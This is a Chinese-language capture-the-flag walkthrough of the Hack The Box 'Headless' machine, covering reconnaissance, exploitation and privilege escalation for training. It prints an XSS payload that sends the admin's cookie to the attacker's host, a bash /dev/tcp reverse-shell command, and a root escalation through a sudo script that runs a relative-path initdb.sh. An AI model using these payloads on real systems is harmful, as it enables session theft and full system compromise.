HTB Headless靶机渗透测试详解

admin 2024年10月21日19:27:49评论15 views字数 1916阅读6分23秒阅读模式

HTB Headless writeup

HTB Headless靶机渗透测试详解

1、信息收集

靶机:10.10.11.8

端口探测:

nmap -sT -sC -sV -A -O 10.10.11.8 --min-rate 10

HTB Headless靶机渗透测试详解

5000端口: http协议 web服务

22端口:ssh服务

访问5000端口

HTB Headless靶机渗透测试详解

使用dirsearch 爆破目录

HTB Headless靶机渗透测试详解

访问/dashboard

HTB Headless靶机渗透测试详解

HTB Headless靶机渗透测试详解

访问/support

HTB Headless靶机渗透测试详解

使用Wappalyzer查看信息,该网站使用了python中的flask模板

2、web渗透

尝试sql 注入和xss注入 ,发现xss注入ok

HTB Headless靶机渗透测试详解

这个browser information会被发送给管理员,尝试UA头部注入

HTB Headless靶机渗透测试详解

HTB Headless靶机渗透测试详解

kali:通过python开启http监听,获取cookie

python -m http.server 8666

burp抓包,修改UA

<img src=15m0 onerror=fetch("http://kali ip :8666/?cookie="+document.cookie);>

HTB Headless靶机渗透测试详解

得到cookie

HTB Headless靶机渗透测试详解

base64解码

is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

HTB Headless靶机渗透测试详解

ImFkbWluIg得base编码字符的长度必须是4的倍数,否则用‘=’补齐

HTB Headless靶机渗透测试详解

得到了admin的cookie,访问dashboard,浏览器更换cookie

HTB Headless靶机渗透测试详解

burp抓包,查看

HTB Headless靶机渗透测试详解

HTB Headless靶机渗透测试详解

尝试注入任意命令

HTB Headless靶机渗透测试详解

3、反弹shell

bash -c 'bash -i >& /dev/tcp/kali ip/2333 0>&1' 

HTB Headless靶机渗透测试详解

HTB Headless靶机渗透测试详解

HTB Headless靶机渗透测试详解

4、提权

sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

syscheck文件以root身份运行

HTB Headless靶机渗透测试详解

分析脚本

#判断是否以特权运行
if [ "$EUID" -ne 0 ]; then
  exit 1
fi

#识别并格式化显示内核vmlinuz*的最后修改时间
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

#检索并显示根文件系统上的可用磁盘空间
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

#检查名为 initdb.sh 的数据库服务是否正在运行;如果没有,它会默认自动运行
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

重点:如果initdb.sh没有运行,syscheck会以root的身份运行

新建一个initdb.sh脚本,再次反弹shell,使用syscheck文件来调用这个脚本,成功提权到root

echo "/bin/bash" >/initdb.sh

HTB Headless靶机渗透测试详解

拿到root flag

HTB Headless靶机渗透测试详解

加下方wx,拉你一起进群学习

HTB Headless靶机渗透测试详解

原文始发于微信公众号(红队蓝军):HTB Headless靶机渗透测试详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日19:27:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB Headless靶机渗透测试详解http://cn-sec.com/archives/3297085.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息